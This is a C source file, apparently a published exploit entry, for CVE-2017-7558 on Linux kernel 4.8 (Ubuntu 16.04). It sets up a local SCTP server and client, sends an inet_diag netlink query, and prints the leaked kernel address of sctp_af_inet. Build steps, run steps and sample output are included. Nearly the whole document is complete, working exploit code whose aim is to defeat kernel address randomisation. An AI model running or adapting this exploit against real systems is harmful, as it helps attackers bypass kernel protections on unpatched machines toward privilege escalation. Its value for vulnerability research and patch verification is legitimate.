406 lines
No EOL
10 KiB
C
406 lines
No EOL
10 KiB
C
/*
|
|
# Exploit Title: Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp kernel pointer
|
|
# Google Dork: -
|
|
# Date: 2018-11-20
|
|
# Exploit Author: Jinbum Park
|
|
# Vendor Homepage: -
|
|
# Software Link: -
|
|
# Version: Linux Kernel 4.8 (Ubuntu 16.04)
|
|
# Tested on: 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
|
|
# CVE: 2017-7558
|
|
# Category: Local
|
|
*/
|
|
|
|
/*
|
|
* [ Briefs ]
|
|
* - CVE-2017-7558 has discovered and reported by Stefano Brivio of the Red Hat. (but, no publicly available exploit)
|
|
* - This is local exploit against the CVE-2017-7558.
|
|
*
|
|
* [ Tested version ]
|
|
* - 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
|
|
*
|
|
* [ Prerequisites ]
|
|
* - sudo apt-get install libsctp-dev
|
|
*
|
|
* [ Goal ]
|
|
* - Leak kernel symbol address of "sctp_af_inet"
|
|
*
|
|
* [ Run exploit ]
|
|
* - $ gcc poc.c -o poc -lsctp -lpthread
|
|
* - $ ./poc
|
|
* [] Waiting for connection
|
|
* [] New client connected
|
|
* [] Received data: Hello, Server!
|
|
* [] sctp_af_inet address : 0
|
|
* [] sctp_af_inet address : ffffffffc0c541e0
|
|
* [] sctp_af_inet address : 0
|
|
* [] sctp_af_inet address : ffffffffc0c541e0 (leaked kernel pointer)
|
|
* - $ sudo cat /proc/kallsyms | grep sctp_af_inet (Check whether leaked pointer value is corret)
|
|
* ffffffffc0c541e0 d sctp_af_inet [sctp]
|
|
*
|
|
* [ Contact ]
|
|
* - jinb.park7@gmail.com
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <stdint.h>
|
|
#include <unistd.h>
|
|
#include <asm/types.h>
|
|
#include <sys/socket.h>
|
|
#include <linux/netlink.h>
|
|
#include <linux/rtnetlink.h>
|
|
#include <netinet/in.h>
|
|
#include <linux/tcp.h>
|
|
#include <linux/sock_diag.h>
|
|
#include <linux/inet_diag.h>
|
|
#include <netinet/sctp.h>
|
|
#include <arpa/inet.h>
|
|
#include <pwd.h>
|
|
#include <pthread.h>
|
|
#include <errno.h>
|
|
|
|
#define MY_PORT_NUM 62324
|
|
|
|
struct sctp_info {
|
|
__u32 sctpi_tag;
|
|
__u32 sctpi_state;
|
|
__u32 sctpi_rwnd;
|
|
__u16 sctpi_unackdata;
|
|
__u16 sctpi_penddata;
|
|
__u16 sctpi_instrms;
|
|
__u16 sctpi_outstrms;
|
|
__u32 sctpi_fragmentation_point;
|
|
__u32 sctpi_inqueue;
|
|
__u32 sctpi_outqueue;
|
|
__u32 sctpi_overall_error;
|
|
__u32 sctpi_max_burst;
|
|
__u32 sctpi_maxseg;
|
|
__u32 sctpi_peer_rwnd;
|
|
__u32 sctpi_peer_tag;
|
|
__u8 sctpi_peer_capable;
|
|
__u8 sctpi_peer_sack;
|
|
__u16 __reserved1;
|
|
|
|
/* assoc status info */
|
|
__u64 sctpi_isacks;
|
|
__u64 sctpi_osacks;
|
|
__u64 sctpi_opackets;
|
|
__u64 sctpi_ipackets;
|
|
__u64 sctpi_rtxchunks;
|
|
__u64 sctpi_outofseqtsns;
|
|
__u64 sctpi_idupchunks;
|
|
__u64 sctpi_gapcnt;
|
|
__u64 sctpi_ouodchunks;
|
|
__u64 sctpi_iuodchunks;
|
|
__u64 sctpi_oodchunks;
|
|
__u64 sctpi_iodchunks;
|
|
__u64 sctpi_octrlchunks;
|
|
__u64 sctpi_ictrlchunks;
|
|
|
|
/* primary transport info */
|
|
struct sockaddr_storage sctpi_p_address;
|
|
__s32 sctpi_p_state;
|
|
__u32 sctpi_p_cwnd;
|
|
__u32 sctpi_p_srtt;
|
|
__u32 sctpi_p_rto;
|
|
__u32 sctpi_p_hbinterval;
|
|
__u32 sctpi_p_pathmaxrxt;
|
|
__u32 sctpi_p_sackdelay;
|
|
__u32 sctpi_p_sackfreq;
|
|
__u32 sctpi_p_ssthresh;
|
|
__u32 sctpi_p_partial_bytes_acked;
|
|
__u32 sctpi_p_flight_size;
|
|
__u16 sctpi_p_error;
|
|
__u16 __reserved2;
|
|
|
|
/* sctp sock info */
|
|
__u32 sctpi_s_autoclose;
|
|
__u32 sctpi_s_adaptation_ind;
|
|
__u32 sctpi_s_pd_point;
|
|
__u8 sctpi_s_nodelay;
|
|
__u8 sctpi_s_disable_fragments;
|
|
__u8 sctpi_s_v4mapped;
|
|
__u8 sctpi_s_frag_interleave;
|
|
__u32 sctpi_s_type;
|
|
__u32 __reserved3;
|
|
};
|
|
|
|
enum {
|
|
SS_UNKNOWN,
|
|
SS_ESTABLISHED,
|
|
SS_SYN_SENT,
|
|
SS_SYN_RECV,
|
|
SS_FIN_WAIT1,
|
|
SS_FIN_WAIT2,
|
|
SS_TIME_WAIT,
|
|
SS_CLOSE,
|
|
SS_CLOSE_WAIT,
|
|
SS_LAST_ACK,
|
|
SS_LISTEN,
|
|
SS_CLOSING,
|
|
SS_MAX
|
|
};
|
|
|
|
enum sctp_state {
|
|
SCTP_STATE_CLOSED = 0,
|
|
SCTP_STATE_COOKIE_WAIT = 1,
|
|
SCTP_STATE_COOKIE_ECHOED = 2,
|
|
SCTP_STATE_ESTABLISHED = 3,
|
|
SCTP_STATE_SHUTDOWN_PENDING = 4,
|
|
SCTP_STATE_SHUTDOWN_SENT = 5,
|
|
SCTP_STATE_SHUTDOWN_RECEIVED = 6,
|
|
SCTP_STATE_SHUTDOWN_ACK_SENT = 7,
|
|
};
|
|
|
|
enum {
|
|
TCP_ESTABLISHED = 1,
|
|
TCP_SYN_SENT,
|
|
TCP_SYN_RECV,
|
|
TCP_FIN_WAIT1,
|
|
TCP_FIN_WAIT2,
|
|
TCP_TIME_WAIT,
|
|
TCP_CLOSE,
|
|
TCP_CLOSE_WAIT,
|
|
TCP_LAST_ACK,
|
|
TCP_LISTEN,
|
|
TCP_CLOSING, /* Now a valid state */
|
|
TCP_NEW_SYN_RECV,
|
|
|
|
TCP_MAX_STATES /* Leave at the end! */
|
|
};
|
|
|
|
enum sctp_sock_state {
|
|
SCTP_SS_CLOSED = TCP_CLOSE,
|
|
SCTP_SS_LISTENING = TCP_LISTEN,
|
|
SCTP_SS_ESTABLISHING = TCP_SYN_SENT,
|
|
SCTP_SS_ESTABLISHED = TCP_ESTABLISHED,
|
|
SCTP_SS_CLOSING = TCP_CLOSE_WAIT,
|
|
};
|
|
|
|
static volatile int servser_stop_flag = 0;
|
|
static volatile int client_stop_flag = 0;
|
|
|
|
static void *server_thread(void *arg) {
|
|
int listen_fd, conn_fd, flags, ret, in;
|
|
char buffer[1024];
|
|
struct sctp_sndrcvinfo sndrcvinfo;
|
|
struct sockaddr_in servaddr = {
|
|
.sin_family = AF_INET,
|
|
.sin_addr.s_addr = htonl(INADDR_ANY),
|
|
.sin_port = htons(MY_PORT_NUM),
|
|
};
|
|
struct sctp_initmsg initmsg = {
|
|
.sinit_num_ostreams = 5,
|
|
.sinit_max_instreams = 5,
|
|
.sinit_max_attempts = 4,
|
|
};
|
|
|
|
listen_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
|
|
if (listen_fd < 0)
|
|
return NULL;
|
|
|
|
ret = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
|
|
if (ret < 0)
|
|
return NULL;
|
|
|
|
ret = setsockopt(listen_fd, IPPROTO_SCTP, SCTP_INITMSG, &initmsg, sizeof(initmsg));
|
|
if (ret < 0)
|
|
return NULL;
|
|
|
|
ret = listen(listen_fd, initmsg.sinit_max_instreams);
|
|
if (ret < 0)
|
|
return NULL;
|
|
|
|
printf("[] Waiting for connection\n");
|
|
|
|
conn_fd = accept(listen_fd, (struct sockaddr *) NULL, NULL);
|
|
if(conn_fd < 0)
|
|
return NULL;
|
|
|
|
printf("[] New client connected\n");
|
|
|
|
in = sctp_recvmsg(conn_fd, buffer, sizeof(buffer), NULL, 0, &sndrcvinfo, &flags);
|
|
if (in > 0) {
|
|
printf("[] Received data: %s\n", buffer);
|
|
}
|
|
|
|
while (servser_stop_flag == 0)
|
|
sleep(1);
|
|
|
|
close(conn_fd);
|
|
return NULL;
|
|
}
|
|
|
|
static void *client_thread(void *arg) {
|
|
int conn_fd, ret;
|
|
const char *msg = "Hello, Server!";
|
|
struct sockaddr_in servaddr = {
|
|
.sin_family = AF_INET,
|
|
.sin_port = htons(MY_PORT_NUM),
|
|
.sin_addr.s_addr = inet_addr("127.0.0.1"),
|
|
};
|
|
|
|
conn_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
|
|
if (conn_fd < 0)
|
|
return NULL;
|
|
|
|
ret = connect(conn_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
|
|
if (ret < 0)
|
|
return NULL;
|
|
|
|
ret = sctp_sendmsg(conn_fd, (void *) msg, strlen(msg) + 1, NULL, 0, 0, 0, 0, 0, 0 );
|
|
if (ret < 0)
|
|
return NULL;
|
|
|
|
while (client_stop_flag == 0)
|
|
sleep(1);
|
|
|
|
close(conn_fd);
|
|
return NULL;
|
|
}
|
|
|
|
//Copied from libmnl source
|
|
#define SOCKET_BUFFER_SIZE (getpagesize() < 8192L ? getpagesize() : 8192L)
|
|
|
|
int send_diag_msg(int sockfd){
|
|
struct msghdr msg;
|
|
struct nlmsghdr nlh;
|
|
struct inet_diag_req_v2 conn_req;
|
|
struct sockaddr_nl sa;
|
|
struct iovec iov[4];
|
|
int retval = 0;
|
|
|
|
//For the filter
|
|
struct rtattr rta;
|
|
void *filter_mem = NULL;
|
|
int filter_len = 0;
|
|
|
|
memset(&msg, 0, sizeof(msg));
|
|
memset(&sa, 0, sizeof(sa));
|
|
memset(&nlh, 0, sizeof(nlh));
|
|
memset(&conn_req, 0, sizeof(conn_req));
|
|
|
|
sa.nl_family = AF_NETLINK;
|
|
|
|
conn_req.sdiag_family = AF_INET;
|
|
conn_req.sdiag_protocol = IPPROTO_SCTP;
|
|
conn_req.idiag_states = SCTP_SS_CLOSED;
|
|
conn_req.idiag_ext |= (1 << (INET_DIAG_INFO - 1));
|
|
|
|
nlh.nlmsg_len = NLMSG_LENGTH(sizeof(conn_req));
|
|
nlh.nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST;
|
|
|
|
nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
|
|
iov[0].iov_base = (void*) &nlh;
|
|
iov[0].iov_len = sizeof(nlh);
|
|
iov[1].iov_base = (void*) &conn_req;
|
|
iov[1].iov_len = sizeof(conn_req);
|
|
|
|
//Set essage correctly
|
|
msg.msg_name = (void*) &sa;
|
|
msg.msg_namelen = sizeof(sa);
|
|
msg.msg_iov = iov;
|
|
if(filter_mem == NULL)
|
|
msg.msg_iovlen = 2;
|
|
else
|
|
msg.msg_iovlen = 4;
|
|
|
|
retval = sendmsg(sockfd, &msg, 0);
|
|
|
|
if(filter_mem != NULL)
|
|
free(filter_mem);
|
|
|
|
return retval;
|
|
}
|
|
|
|
void parse_diag_msg(struct inet_diag_msg *diag_msg, int rtalen){
|
|
struct rtattr *attr;
|
|
struct sctp_info *sctpi;
|
|
int i;
|
|
unsigned char *ptr;
|
|
|
|
if(diag_msg->idiag_family != AF_INET && diag_msg->idiag_family != AF_INET6) {
|
|
fprintf(stderr, "Unknown family\n");
|
|
return;
|
|
}
|
|
|
|
if(rtalen > 0){
|
|
attr = (struct rtattr*) (diag_msg+1);
|
|
|
|
while(RTA_OK(attr, rtalen)){
|
|
if(attr->rta_type == INET_DIAG_INFO){
|
|
// leak kernel pointer here!!
|
|
sctpi = (struct sctp_info*) RTA_DATA(attr);
|
|
ptr = ((unsigned char *)&sctpi->sctpi_p_address + 32);
|
|
printf("[] sctp_af_inet address : %lx\n", *(unsigned long *)ptr);
|
|
}
|
|
attr = RTA_NEXT(attr, rtalen);
|
|
}
|
|
}
|
|
}
|
|
|
|
int main(int argc, char *argv[]){
|
|
int nl_sock = 0, numbytes = 0, rtalen = 0;
|
|
struct nlmsghdr *nlh;
|
|
uint8_t recv_buf[SOCKET_BUFFER_SIZE];
|
|
struct inet_diag_msg *diag_msg;
|
|
pthread_t sctp_server;
|
|
pthread_t sctp_client;
|
|
|
|
// run sctp server & client
|
|
if (pthread_create(&sctp_server, NULL, server_thread, NULL))
|
|
return EXIT_FAILURE;
|
|
sleep(2);
|
|
|
|
if (pthread_create(&sctp_client, NULL, client_thread, NULL))
|
|
return EXIT_FAILURE;
|
|
sleep(2);
|
|
|
|
// run inet_diag
|
|
if((nl_sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_INET_DIAG)) == -1){
|
|
perror("socket: ");
|
|
return EXIT_FAILURE;
|
|
}
|
|
|
|
if(send_diag_msg(nl_sock) < 0){
|
|
perror("sendmsg: ");
|
|
return EXIT_FAILURE;
|
|
}
|
|
|
|
while(1){
|
|
numbytes = recv(nl_sock, recv_buf, sizeof(recv_buf), 0);
|
|
nlh = (struct nlmsghdr*) recv_buf;
|
|
|
|
while(NLMSG_OK(nlh, numbytes)){
|
|
if(nlh->nlmsg_type == NLMSG_DONE) {
|
|
return EXIT_SUCCESS;
|
|
}
|
|
|
|
if(nlh->nlmsg_type == NLMSG_ERROR){
|
|
fprintf(stderr, "Error in netlink message\n");
|
|
return EXIT_FAILURE;
|
|
}
|
|
|
|
diag_msg = (struct inet_diag_msg*) NLMSG_DATA(nlh);
|
|
rtalen = nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*diag_msg));
|
|
parse_diag_msg(diag_msg, rtalen);
|
|
|
|
nlh = NLMSG_NEXT(nlh, numbytes);
|
|
}
|
|
}
|
|
printf("loop next\n");
|
|
|
|
// exit threads
|
|
client_stop_flag = 1;
|
|
if (pthread_join(sctp_client, NULL))
|
|
return EXIT_FAILURE;
|
|
|
|
servser_stop_flag = 1;
|
|
if (pthread_join(sctp_server, NULL))
|
|
return EXIT_FAILURE;
|
|
|
|
printf("end\n");
|
|
return EXIT_SUCCESS;
|
|
} |